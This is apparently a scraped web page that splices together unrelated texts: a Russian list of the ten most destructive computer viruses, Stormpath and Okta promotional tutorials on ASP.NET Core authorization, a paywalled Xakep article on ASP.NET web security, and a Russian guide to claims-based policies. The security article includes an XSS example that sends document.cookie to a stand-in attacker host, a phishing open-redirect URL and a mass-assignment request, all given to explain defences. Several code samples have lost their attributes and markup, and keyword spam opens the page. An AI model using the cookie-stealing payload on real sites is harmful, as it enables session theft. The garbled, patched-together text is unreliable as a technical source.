Несравнимый policy asp. Бездарный policy asp. Скрытие сообщений об ошибке. Продолжение доступно только участникам

11 ноября 1983 года был написан первый вирус, который открыл новую эру опасных программ для компьютеров.

Американский студент из Университета Южной Калифорнии Фред Коэн составил программу, демонстрировавшую возможность заражения компьютера со скоростью размножения вируса от 5 минут до 1 часа.

Первый не лабораторный вирус, называющийся «Brain», способный заражать только дискеты, появился в январе 1986 года и имел пакистанское происхождение. А первая антивирусная программа была разработана в 1988 году.На следующий год Коэн написал работу, в которой не только предвосхитил опасности распространения вирусов по компьютерным сетям, но и рассказал о возможности создания антивирусных программ.

Давайте же вспомним, какие вирусы были самыми разрушительными в недолгой истории компьютерных сетей.

10 место. Code Red

Вирус был запущен в 2001 году и заразил 360 тыс. машин, создав бот-сеть для атаки сайта Белого дома. Вирус выдавал сообщение на экране «Hacked By Chinese!» («Взломано китайцами!») — намек на коммунистический Китай, хотя в действительности вирус скорее всего был написан этническими китайцами на Филиппинах.

9 место. Morris

В 1988 году вирус заразил по сети 60 тыс. компьютеров, не давая им нормально работать. Ущерб от червя Морриса был оценён примерно в $96.5 млн.

Создатель вируса Роберт Моррис хорошо законспирировал код программы, и вряд ли кто мог доказать его причастность. Однако его отец, компьютерный эксперт Агентства национальной безопасности, посчитал, что сыну лучше во всем сознаться.

На суде Роберту Моррису грозило до пяти лет лишения свободы и штраф в размере $250 тыс, однако, принимая во внимание смягчающие обстоятельства, суд приговорил его к трем годам условно, $10 тыс штрафа и 400 часам общественных работ.

8 место. Blaster

По отчетам из Лаборатории Касперского — по всему миру было заражено порядка 300 тысяч компьютеров. Для пользователяБыл запущен в 2003 году для атаки сайтов Microsoft. Его автора так и не нашли.

Для пользователя данный червь был сравнительно безопасен, если не считать побочного эффекта в виде регулярной перезагрузки компьютера. Целью этого червя являлась атака на серверы Microsoft 16 августа 2003 года в полночь. Однако Microsoft временно закрыла свои серверы, что позволило сократить ущерб от вируса к минимуму.

Blaster в своем коде содержал скрытое послание, адресованное Биллу Гейтсу: «Билли Гейтс, зачем вы делаете это возможным? Хватит делать деньги, исправьте ваше программное обеспечение!».

7 место. Melissa

Автор вируса Дэвид Смит назвал свое детище в честь стриптизерши из Майами. Собственно, при заражении на домашней странице появлялась стриптизерша. Вирус нанес более $80 млн. убытка. Компаниям Microsoft и Intel даже пришлось выключить собственные почтовые сервера.

Смита арестовали и приговорили к трем годам заключения.

6 место. CIH

Знаменитый вирус Чернобыль, который был написан тайваньским студентом Чэнь Инхао специально для операционок Windows 95\98. 26 апреля, в годовщину аварии на АЭС, вирус активировался, парализуя работу компьютеров.

По различным оценкам, от вируса пострадало около полумиллиона персональных компьютеров по всему миру.

По данным The Register, 20 сентября 2000 года власти Тайваня арестовали создателя знаменитого компьютерного вируса, но, согласно тайваньским законам тех времен, он не нарушил никаких законов, и он никогда не привлекался к уголовной ответственности за создание этого вируса.

В настоящее время Чэнь работает в Gigabyte.

5 место. Nimda

Распространялся по электронной почте. Стал самым быстрораспространяемым вирусом. Для того, чтобы заразить миллионы компьютеров, ему понадобилось всего 22 минуты.

4 место. Storm Worm

В 2007 году вирус заразил миллионы компьютеров, рассылая спам и похищая личные данные.

3 место. Slammer

Самый агрессивный вирус. В 2003-м уничтожил данные с 75 тыс. компьютеров за 10 минут.

2 место. Conficker

Один из опаснейших из известных на сегодняшний день компьютерных червей.

Вредоносная программа была написана на Microsoft Visual C++ и впервые появилась в сети 21 ноября 2008. Атакует операционные системы семейства Microsoft Windows (от Windows 2000 до Windows 7 и Windows Server 2008 R2). На январь 2009 вирус поразил 12 млн компьютеров во всём мире. 12 февраля 2009 Microsoft обещал $250 тыс. за информацию о создателях вируса.

1 место. ILOVEYOU

При открытии вложения вирус рассылал копию самого себя всем контактам в адресной книге Windows, а также на адрес, указанный как адрес отправителя. Он также совершал ряд вредоносных изменений в системе пользователя.Вирус был разослан на почтовые ящики с Филиппин в ночь с 4 мая на 5 мая 2000 года; в теме письма содержалась строка «ILoveYou», а к письму был приложен скрипт «LOVE-LETTER-FOR-YOU.TXT.vbs». Расширение «.vbs» было по умолчанию скрыто, что и заставило ничего не подозревающих пользователей думать, что это был простой текстовый файл.

В общей сложности, вирус поразил более 3 млн компьютеров по всему миру. Предполагаемый ущерб, который червь нанес мировой экономике, оценивается в размере $10 - 15 млрд, за что вошел в Книгу рекордов Гиннесса, как самый разрушительный компьютерный вирус в мире.

Heads up… this article is old!

Role-Based Authorization in ASP.NET Core

If you’re familiar with roles in ASP.NET 4.x, you’ll find that the new features start from a familiar place. Specifically, a user can have several roles and you define what roles are required to perform a certain action, or access to specific sections or resources, within your application. You can specify what roles are authorized to access to a specific resource by using the attribute. It can be declared in such a way that the authorization could be evaluated at controller level, action level, or even at a global level.

Authorization in ASP.NET Core with Stormpath

Now, let’s look at how easy is to use Stormpath with the policy-based approach. The Stormpath ASP.NET Core library provides two ways to easily enforce authorization in your application: group- (or role-) based access control, and permissions-based access control.

To easily configure Stormpath in your ASP.NET Core project check out the .

Use Stormpath Groups to Model Authorization Roles

If you need to organize your users by Role or Group, Stormpath has role-based access control built in. User accounts can belong to one or many groups, each of which can carry its own set of permissions.

With Stormpath, you can create nested or hierarchical groups, model organizational functions, or implement best-practice resource-based access control.

Custom data is not only useful to store additional info to the user accounts of your application; it also can be used to combine user claims with policies to implement fine-grained authorization.

And that’s all! As you can see, using custom data combined with policy-based authorization is super easy thanks to the Stormpath ASP.NET Core library . With a few line of code you have added a new policy that handles authorization based on the user custom data.

Learn More About User Management, Including Authentication and Authorization, in ASP.NET Core

With ASP.NET Core and Stormpath you can model your security with a considerable number of benefits. Policy-Based Authorization allows you to write more flexible, reusable, self-documented, unit-testable, and encapsulated code. Stormpath is ready to work with this approach in a super clean and elegant way.

To learn more about Stormpath and ASP.NET Core check out these resources.

ASP.NET MVC - не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Начнем со всем известных видов атак.

SQL Injection

Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Этот вид атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.

Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID;

Если ты разрабатываешь MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если ты выполняешь SQL-код с помощью ExecuteQuery или вызываешь плохо написанные хранимые процедуры.

Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^+$ . А если в поле должны быть введены цифры, то укажи это как требование:

Public string Zip { get; set; }

В Web Forms ограничить значения можно с помощью валидаторов. Пример:

Начиная с.NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.

Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).

XSS

Типичный пример XSS - добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Как ты понимаешь, в данном примере куки с твоего сайта передаются в качестве параметра на какой-то хакерский ресурс.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

Извините , но пароль ошибочный

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: , которое энкодит свое содержимое.

Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму - хакер сможет ее провернуть, только если ты грубо ошибешься, например используешь @Html.Raw(Model.username) или заюзаешь в своей модели MvcHtmlString вместо string .

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В.NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder , JavaScriptEncoder и UrlEncoder .

Следующий пример вернет строку :

String encodedString = HtmlEncoder.Default.Encode("");

В классическом.NET используется HttpUtility.HtmlEncode . А начиная с.NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

Таким образом, сохранив старый код HttpUtility.HtmlEncode , мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility и HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно юзать UrlEncoder .

Cross-Site Request Forgery (CSRF)

Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.

Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken() , добавленный во View, и добавленный перед action контроллера атрибут . Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.

Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery . Классические ASP.NET-приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Open redirect attacks

Будь осторожен с редиректами! Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с твоего, хорошего (у тебя же хорошие сайты?). Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:

Http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Многие пользователи, получив email со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:

Private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // ... }

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect:

Private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }

В общем, старайся никогда не доверять полученным данным.

Mass assignment

Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:

Public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }

И есть обычная и довольно простая вьюшка:

@model UserModel @if (Model.IsAdmin) { You are an admin } else { You are a standard user } Submit

С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?

А теперь давай перейдем к столь же простому коду:

Public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }

Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost . Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.


Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin). Как защититься от этого типа атаки? Самый простой вариант - не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов - это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

Продолжение доступно только участникам Вариант 1. Присоединись к сообществу «сайт», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!

Lee Brandt

The authorization model in ASP.NET Core got a significant overhaul with the introduction of policy-based authorization. Authorization now uses requirements and handlers, which are decoupled from your controllers and loosely coupled to your data models. The result is a more modular, more testable authorization framework that fits into the modern ASP.NET Core approach nicely.

If you’ve built a web or mobile app before, you know that even without these changes to ASP.NET Core’s authorization model, user management is a royal pain. With Okta, you can have all that user management “stuff”, including authorization, out-of-the-box so you can get on with what you really care about – your app! By the time you’re done with this tutorial (less than 30 minutes, I promise), you’ll have the role-based authorization most ASP.NET devs are familiar with, but that’s only the tip of the iceberg! In this post, I’ll walk you through some of the impressive new features, and how you can combine them with Okta for robust, scalable authorization!

Just getting started with authentication in ASP.NET Core? Check out our quick start documentation !

Why Okta?

Before we dig into building our project, I want to tell you a little more about why Okta is the right choice for your ASP.NET Core app. Okta is an API service that allows developers to create, edit, and securely store user accounts and user account data, and connect them with one or multiple applications. Our API enables you to:

  • Authenticate and authorize your users
  • Store data about your users
  • Perform password-based and social login
  • Secure your application with multi-factor authentication
  • And much more! Check out our

In short: we make user account management a lot easier, more secure, and more scalable than what you’re probably used to.

Role-Based Authorization in ASP.NET Core

If you’re familiar with roles in ASP.NET 4.x, you’ll find that the new features start from a familiar place. Specifically, a user can have several roles, and you define what roles are required to perform a specific action, or access to particular sections or resources, within your application. You can specify what roles are authorized to access a specific resource by using the attribute. You can even declare them in such a way that the authorization evaluates at the controller level, action level, or even at a global level.

As usual, feel free to leave a comment below, and don’t foget to follow us on Twitter

Последнее обновление: 13.12.2019

Роли позволяют разграничить доступ, однако для создания авторизации функциональности ролей бывает недостаточно. Например, что если мы хотим разграничить доступ на основе возраста пользователя или каких-то других признаков. Для этого применяется авторизация на основе claims. Собственно авторизация на основе ролей фактически представляет частный случай авторизации на основе claims, так как роль это тот же объект Claim, имеющий тип ClaimsIdentity.DefaultRoleClaimType:

New Claim(ClaimsIdentity.DefaultRoleClaimType, user.Role?.Name)

Все применяемые политики добавляются в методе ConfigureServices() класса Startup с помощью метода services.AddAuthorization() . Этот метод устанавливает политики с помощью объекта AuthorizationOptions . Например:

Public void ConfigureServices(IServiceCollection services) { //............................ services.AddAuthorization(opts => { opts.AddPolicy("OnlyForMicrosoft", policy => { policy.RequireClaim("company", "Microsoft"); }); }); }

В данном случае добавляется политика с именем "OnlyForMicrosoft". И она требует обязательной установки для текущего пользователя объекта Claim с типом "company" и значением "Microsoft". Если для пользователя не будет установлено подобного объекта Claim, то такой пользователь не будет соответствовать политике.

Для управления политиками в классе AuthorizationOptions определены следующие свойства и методы:

    DefaultPolicy : возвращает политику по умолчанию, которая используется, когда атрибут Authorize применяется без параметров

    AddPolicy(name, policyBuilder) : добавляет политику

    GetPolicy(name) : возвращает политику по имени

Ключевым методом здесь является AddPolicy() . Первый параметр метода представляет название политики, а второй - делегат, который с помощью объекта AuthorizationPolicyBuilder позволяет создать политику по определенным условиям. Для создания политики могут применяться следующие методы класса AuthorizationPolicyBuilder:

    RequireAuthenticatedUser() : пользователь обязательно должен быть аутентифицирован для соответствия политике

    RequireClaim(type) : для пользователя должен быть установлен claim с типом type. Причем не важно, какое значение будет иметь этот claim, главное, его наличие

    RequireClaim(type, values) : для пользователя должен быть установлен claim с типом type. Но теперь claim должен в качестве значения иметь одно из значений из массива values.

    RequireRole(roles) : пользователь должен принадлежать к одной из ролей из массива roles

    RequireUserName(name) : для соответствия политике пользователь должен иметь ник (логин) name

    RequireAssertion(handler) : запрос должен соответствовать условию, которое устанавливается с помощью делегата handler

    AddRequirements(requirement) : позволяет добавить кастомное ограничение requirement, если имеющихся недостаточно

Фактически данные методы задают ограничения, которым должен соответствовать пользователь, обращающийся к приложению. После установки ограничений политики в ConfigureServices() мы можем их применять для разграничения доступа:

Public class HomeController: Controller { public IActionResult Index() { return View(); } }

Для установки политики у атрибута AuthorizeAttribute применяется свойство Policy . Оно указывает на название политики, которой должны соответствовать пользователи. И если пользователи соответствуют тем ограничениям, которые были установлены для политики в методе ConfigureServices() , то для них будет разрешен доступ к методу Index.